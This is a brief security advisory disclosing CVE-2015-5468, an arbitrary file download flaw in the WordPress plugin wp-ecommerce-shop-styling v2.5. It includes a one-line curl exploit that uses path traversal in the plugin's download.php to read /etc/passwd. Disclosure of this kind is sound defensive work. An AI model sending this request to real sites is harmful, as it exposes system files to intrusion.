Arbitrary file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5

#887 · 2015-07-05

CVE ID(s): CVE-2015-5468

Notified: 2015-07-05

Description:

Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.

Exploit:

$ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd

Download: https://wordpress.org/plugins/wp-ecommerce-shop-styling

URL: http://www.vapid.dhs.org/advisory.php?v=136